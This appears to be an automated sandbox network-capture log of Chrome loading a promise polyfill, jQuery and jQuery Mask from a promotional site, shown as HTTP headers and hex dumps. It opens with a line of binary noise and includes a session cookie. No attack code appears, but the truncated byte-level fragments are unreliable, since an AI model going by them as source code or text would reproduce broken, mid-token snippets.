=zI-j.cUD3rWN!: gwtrnb9}~k#\{sm7Uu\[=9Yn\{=D[FcExIw;O'2'&CV@SK&NiFNriO}hF6;FCYq-jOX
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 0a 43 ed bb 39 ee ca be e0 df d1 87 11 5d 4e 22 76 e2 70 f6 ed ff 00 48 9e ce 81 87 0c da e7 86 bd e5 a4 c8 27 5f 6d 6e 6f b7 6b bd df ce 6e ff 00 ad ad 36 11 01 a2 78 dc e2 79 d7 8f ed 3d 20 f0 fc 81 5b 7e 8d 00 17 9e c1 c4 7e 8e b1 fd 56 7e 95 ff 00 f5 a5 62 31 11 14 05 06 9c e5 29 9b 91 b2 e1 df f5 7e f6 54 e7 51 67 af 63 35 6d 45 a1 a5 c3 46 92 c7 fa 9f 4d ab 02 ef 4c 4b 1d b9 96 ee d5 a4 46 d0 01 d0 87 7b fd 4d cb d0 61 bb c9 ee 1b 04 f9 13 3f f7 d5 46 fc 6a 32 5e e7 5c c6 d9 b8 c8 dc d0 ed 38 6f d2 42 73 11 5d 8f 17 1d eb 54 f9 d6 5d 7a 17 6b af 1a f6 f8 2c 2b 71 5f 7f 52 a5 95 3b 65 8e 6b 9f 59 e3 dd 51 17 06 ee ff 00 07 bb 67 d3 fc c5 ea b7 fd 5a e9 17 03 ba 90 c9 ef 59 2c ff 00 a9 2b 0f aa 7f 8b 9a 72 f6 d9 85 9d 6e 3d b5 ee d8 e2 03 88 dc 3f 7d Data Ascii: C9]N"vpH'_mnokn6xy= [~~V~b1)~TQgc5mEFMLKF{Ma?Fj2^\8oBs]T]zk,+q_R;ekYQgZY,+rn=?}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	49830	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:50 UTC	767	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/promise.min.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:50 UTC	757	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:50 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60155 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pYvgo6aSuAvoKPEJT%2FT1z0NABH1rJzL4ac0czlDls%2BJqiaJdl7Np7e9NKc8Zg0xsgyngAv3BIIfohqkZADuzBiJ5JXAEd7EC3zOqsVcUJCDlYYxoLxSlVZPkmNsbMT%2BTntUzbCo%2FFCfrtlRt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4190ec3943a1-EWR
2024-10-03 16:19:50 UTC	612	IN	Data Raw: 39 64 36 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 73 20 6d 75 73 74 20 62 65 20 63 6f 6e 73 74 72 75 63 74 65 64 20 76 69 61 20 6e 65 77 22 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 74 68 69 73 2e 5f Data Ascii: 9d6!function(t){function e(){}function n(t,e){return function(){t.apply(e,arguments)}}function o(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");this._
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 6f 6d 69 73 65 2c 72 29 7d 69 28 65 2e 70 72 6f 6d 69 73 65 2c 6f 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 74 72 79 7b 69 66 28 65 3d 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 20 70 72 6f 6d 69 73 65 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 73 6f 6c 76 65 64 20 77 69 74 68 20 69 74 73 65 6c 66 2e 22 29 3b 69 66 28 65 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 29 29 7b 76 61 72 20 72 3d 65 2e 74 68 65 6e 3b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 29 72 65 74 75 72 6e 20 74 2e 5f 73 74 61 74 65 3d 33 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 76 6f 69 64 20 75 28 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d Data Ascii: omise,r)}i(e.promise,o)}))}function i(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e\|\|"function"==typeof e)){var r=e.then;if(e instanceof o)return t._state=3,t._value=e,void u(t);if("function"=
2024-10-03 16:19:50 UTC	544	IN	Data Raw: 29 7d 2c 6e 29 7d 65 5b 69 5d 3d 66 2c 30 3d 3d 3d 2d 2d 72 26 26 74 28 65 29 7d 63 61 74 63 68 28 63 29 7b 6e 28 63 29 7d 7d 69 66 28 30 3d 3d 3d 65 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 74 28 5b 5d 29 3b 66 6f 72 28 76 61 72 20 72 3d 65 2e 6c 65 6e 67 74 68 2c 69 3d 30 3b 69 3c 65 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6f 28 69 2c 65 5b 69 5d 29 7d 29 7d 2c 6f 2e 72 65 73 6f 6c 76 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 6f 3f 74 3a 6e 65 77 20 6f 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 28 74 29 7d 29 7d 2c 6f 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6f 28 66 Data Ascii: )},n)}e[i]=f,0===--r&&t(e)}catch(c){n(c)}}if(0===e.length)return t([]);for(var r=e.length,i=0;i<e.length;i++)o(i,e[i])})},o.resolve=function(t){return t&&"object"==typeof t&&t.constructor===o?t:new o(function(e){e(t)})},o.reject=function(t){return new o(f
2024-10-03 16:19:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	49831	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:50 UTC	766	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.min.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:50 UTC	749	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:50 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60155 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ae9H64I6q6ZEQXAVc2efiIob6zx0CgHdHKRWkx7h6iTZlOdJumwP3zPSe8x2oKvowmdgxmwqSI1ZVucIYSSiEIhnm1e6RaB2wsOUdYPh4TnytiOJ2xA8hnH9bKvhFKbrXiVmkDHGMOEX5FeU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce419119b643ad-EWR
2024-10-03 16:19:50 UTC	620	IN	Data Raw: 37 63 62 31 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 32 2e 30 2e 30 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 33 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0d 0a 2f 2f 40 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 6a 71 75 65 72 79 2e 6d 69 6e 2e 6d 61 70 0d 0a 2a 2f 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 75 6e 64 65 66 69 6e 65 64 29 7b 76 61 72 20 74 2c 6e 2c 72 3d 74 79 70 65 6f 66 20 75 6e 64 65 66 69 6e 65 64 2c 69 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2c 6f 3d 65 2e 64 6f 63 75 6d 65 6e 74 2c 73 3d 6f 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 61 3d 65 2e 6a 51 75 65 72 79 2c 75 3d 65 2e 24 2c 6c 3d 7b 7d 2c 63 3d 5b 5d 2c 66 3d 22 32 Data Ascii: 7cb1/! jQuery v2.0.0 \| (c) 2005, 2013 jQuery Foundation, Inc. \| jquery.org/license//@ sourceMappingURL=jquery.min.map/(function(e,undefined){var t,n,r=typeof undefined,i=e.location,o=e.document,s=o.documentElement,a=e.jQuery,u=e.$,l={},c=[],f="2
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 53 2c 21 31 29 2c 65 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 53 2c 21 31 29 2c 78 2e 72 65 61 64 79 28 29 7d 3b 78 2e 66 6e 3d 78 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 6a 71 75 65 72 79 3a 66 2c 63 6f 6e 73 74 72 75 63 74 6f 72 3a 78 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 3b 69 66 28 21 65 29 72 65 74 75 72 6e 20 74 68 69 73 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 69 66 28 72 3d 22 3c 22 3d 3d 3d 65 2e 63 68 61 72 41 74 28 30 29 26 26 22 3e 22 3d 3d 3d 65 2e 63 68 61 72 41 74 28 65 2e 6c 65 6e 67 74 68 2d 31 29 26 26 65 2e 6c 65 6e 67 74 68 3e 3d 33 3f 5b 6e 75 6c 6c 2c 65 2c 6e 75 6c 6c 5d 3a Data Ascii: ontentLoaded",S,!1),e.removeEventListener("load",S,!1),x.ready()};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,t,n){var r,i;if(!e)return this;if("string"==typeof e){if(r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 67 74 68 2c 6e 3d 2b 65 2b 28 30 3e 65 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 6e 3e 3d 30 26 26 74 3e 6e 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 78 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 63 61 6c 6c 28 74 2c 6e 2c 74 29 7d 29 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 6e 75 6c 6c 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 5b 5d 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 5b 5d 2e 73 70 6c 69 63 65 7d 2c Data Ascii: gth,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject\|\|this.constructor(null)},push:h,sort:[].sort,splice:[].splice},
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 6f 66 20 65 3f 6c 5b 6d 2e 63 61 6c 6c 28 65 29 5d 7c 7c 22 6f 62 6a 65 63 74 22 3a 74 79 70 65 6f 66 20 65 7d 2c 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 78 2e 74 79 70 65 28 65 29 7c 7c 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 78 2e 69 73 57 69 6e 64 6f 77 28 65 29 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 69 66 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 21 79 2e 63 61 6c 6c 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 2c 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 29 29 72 65 74 75 72 6e 21 31 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: of e?l[m.call(e)]\|\|"object":typeof e},isPlainObject:function(e){if("object"!==x.type(e)\|\|e.nodeType\|\|x.isWindow(e))return!1;try{if(e.constructor&&!y.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(t){return!1}return!0},isEmptyObject:function(
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 61 6b 7d 65 6c 73 65 20 66 6f 72 28 69 20 69 6e 20 65 29 69 66 28 72 3d 74 2e 63 61 6c 6c 28 65 5b 69 5d 2c 69 2c 65 5b 69 5d 29 2c 72 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 22 22 3a 76 2e 63 61 6c 6c 28 65 29 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 6a 28 4f 62 6a 65 63 74 28 65 29 29 3f 78 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 68 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b Data Ascii: ak}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:function(e){return null==e?"":v.call(e)},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(j(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 3d 7b 7d 3b 66 6f 72 28 6f 20 69 6e 20 74 29 73 5b 6f 5d 3d 65 2e 73 74 79 6c 65 5b 6f 5d 2c 65 2e 73 74 79 6c 65 5b 6f 5d 3d 74 5b 6f 5d 3b 69 3d 6e 2e 61 70 70 6c 79 28 65 2c 72 7c 7c 5b 5d 29 3b 66 6f 72 28 6f 20 69 6e 20 74 29 65 2e 73 74 79 6c 65 5b 6f 5d 3d 73 5b 6f 5d 3b 72 65 74 75 72 6e 20 69 7d 7d 29 2c 78 2e 72 65 61 64 79 2e 70 72 6f 6d 69 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 7c 7c 28 6e 3d 78 2e 44 65 66 65 72 72 65 64 28 29 2c 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 6f 2e 72 65 61 64 79 53 74 61 74 65 3f 73 65 74 54 69 6d 65 6f 75 74 28 78 2e 72 65 61 64 79 29 3a 28 6f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 53 2c 21 31 29 2c 65 2e 61 64 64 Data Ascii: ={};for(o in t)s[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r\|\|[]);for(o in t)e.style[o]=s[o];return i}}),x.ready.promise=function(t){return n\|\|(n=x.Deferred(),"complete"===o.readyState?setTimeout(x.ready):(o.addEventListener("DOMContentLoaded",S,!1),e.add
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 5c 5c 2e 29 2a 29 22 2b 52 2b 22 2b 24 22 2c 22 67 22 29 2c 7a 3d 52 65 67 45 78 70 28 22 5e 22 2b 52 2b 22 2a 2c 22 2b 52 2b 22 2a 22 29 2c 5f 3d 52 65 67 45 78 70 28 22 5e 22 2b 52 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 52 2b 22 29 22 2b 52 2b 22 2a 22 29 2c 58 3d 52 65 67 45 78 70 28 52 2b 22 2a 5b 2b 7e 5d 22 29 2c 55 3d 52 65 67 45 78 70 28 22 3d 22 2b 52 2b 22 2a 28 5b 5e 5c 5c 5d 27 5c 22 5d 2a 29 22 2b 52 2b 22 2a 5c 5c 5d 22 2c 22 67 22 29 2c 59 3d 52 65 67 45 78 70 28 42 29 2c 56 3d 52 65 67 45 78 70 28 22 5e 22 2b 57 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 52 65 67 45 78 70 28 22 5e 23 28 22 2b 4d 2b 22 29 22 29 2c 43 4c 41 53 53 3a 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4d 2b 22 29 22 29 2c 54 41 47 3a 52 65 67 45 78 70 28 22 5e 28 22 2b 4d 2e Data Ascii: \\.))"+R+"+$","g"),z=RegExp("^"+R+","+R+""),_=RegExp("^"+R+"([>+~]\|"+R+")"+R+""),X=RegExp(R+"[+~]"),U=RegExp("="+R+"([^\\]'\"])"+R+"*\\]","g"),Y=RegExp(B),V=RegExp("^"+W+"$"),G={ID:RegExp("^#("+M+")"),CLASS:RegExp("^\\.("+M+")"),TAG:RegExp("^("+M.
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 6e 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 2c 74 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 73 2c 61 2c 75 2c 66 2c 64 2c 67 2c 78 2c 77 3b 69 66 28 28 74 3f 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 3a 76 29 21 3d 3d 63 26 26 6c 28 74 29 2c 74 3d 74 7c 7c 63 2c 6e 3d 6e 7c 7c 5b 5d 2c 21 65 7c 7c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 29 72 65 74 75 72 6e 20 6e 3b 69 66 28 31 21 3d 3d 28 61 3d 74 2e 6e 6f 64 65 54 79 70 65 29 26 26 39 21 3d 3d 61 29 72 65 74 75 72 Data Ascii: y{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ut(e,t,n,r){var i,o,s,a,u,f,d,g,x,w;if((t?t.ownerDocument\|\|t:v)!==c&&l(t),t=t\|\|c,n=n\|\|[],!e\|\|"string"!=typeof e)return n;if(1!==(a=t.nodeType)&&9!==a)retur
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 62 2e 61 74 74 72 69 62 75 74 65 73 3d 61 74 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 61 74 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 64 69 76 20 63 6c 61 73 73 3d 27 61 27 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 27 61 20 69 27 3e 3c 2f 64 69 76 3e 22 2c 65 2e 66 69 72 73 74 43 68 69 6c 64 Data Ascii: eateComment("")),!e.getElementsByTagName("*").length}),b.attributes=at(function(e){return e.className="i",!e.getAttribute("className")}),b.getElementsByClassName=at(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 6c 61 73 73 4e 61 6d 65 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 21 3d 3d 6a 26 26 70 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 3a 75 6e 64 65 66 69 6e 65 64 7d 2c 64 3d 5b 5d 2c 68 3d 5b 5d 2c 28 62 2e 71 73 61 3d 69 74 28 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 61 74 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 73 65 6c 65 63 74 3e 3c 6f 70 74 69 6f 6e 20 73 65 6c 65 63 74 65 64 3d 27 27 3e 3c 2f 6f 70 74 69 6f 6e 3e 3c 2f 73 65 6c 65 63 74 3e 22 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 Data Ascii: lassName&&function(e,t){return typeof t.getElementsByClassName!==j&&p?t.getElementsByClassName(e):undefined},d=[],h=[],(b.qsa=it(t.querySelectorAll))&&(at(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[select

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	49832	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:50 UTC	771	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.mask.min.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:50 UTC	761	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:50 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60155 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6T11I84xW68MogCPkZ1JvssilgFbaCcpowVI3J8Jm%2Br4opO%2BLIu3JnxTlvIefOBGk1oTYFTHLAIx9jYFHomZGUCn4%2BU68u15IHSv523Kz7AFbQbPkpqFeuFCZoYxx%2FonCOd%2B7%2BBi3gytcaRR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41922f3e32d3-EWR
2024-10-03 16:19:50 UTC	608	IN	Data Raw: 31 37 39 36 0d 0a 2f 2f 20 6a 51 75 65 72 79 20 4d 61 73 6b 20 50 6c 75 67 69 6e 20 76 31 2e 31 33 2e 34 0d 0a 2f 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 69 67 6f 72 65 73 63 6f 62 61 72 2f 6a 51 75 65 72 79 2d 4d 61 73 6b 2d 50 6c 75 67 69 6e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 62 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 62 28 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 29 3a 62 28 6a 51 75 65 72 79 7c 7c 5a 65 70 74 6f 29 7d 29 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 79 3d Data Ascii: 1796// jQuery Mask Plugin v1.13.4// github.com/igorescobar/jQuery-Mask-Plugin(function(b){"function"===typeof define&&define.amd?define(["jquery"],b):"object"===typeof exports?module.exports=b(require("jquery")):b(jQuery\|\|Zepto)})(function(b){var y=
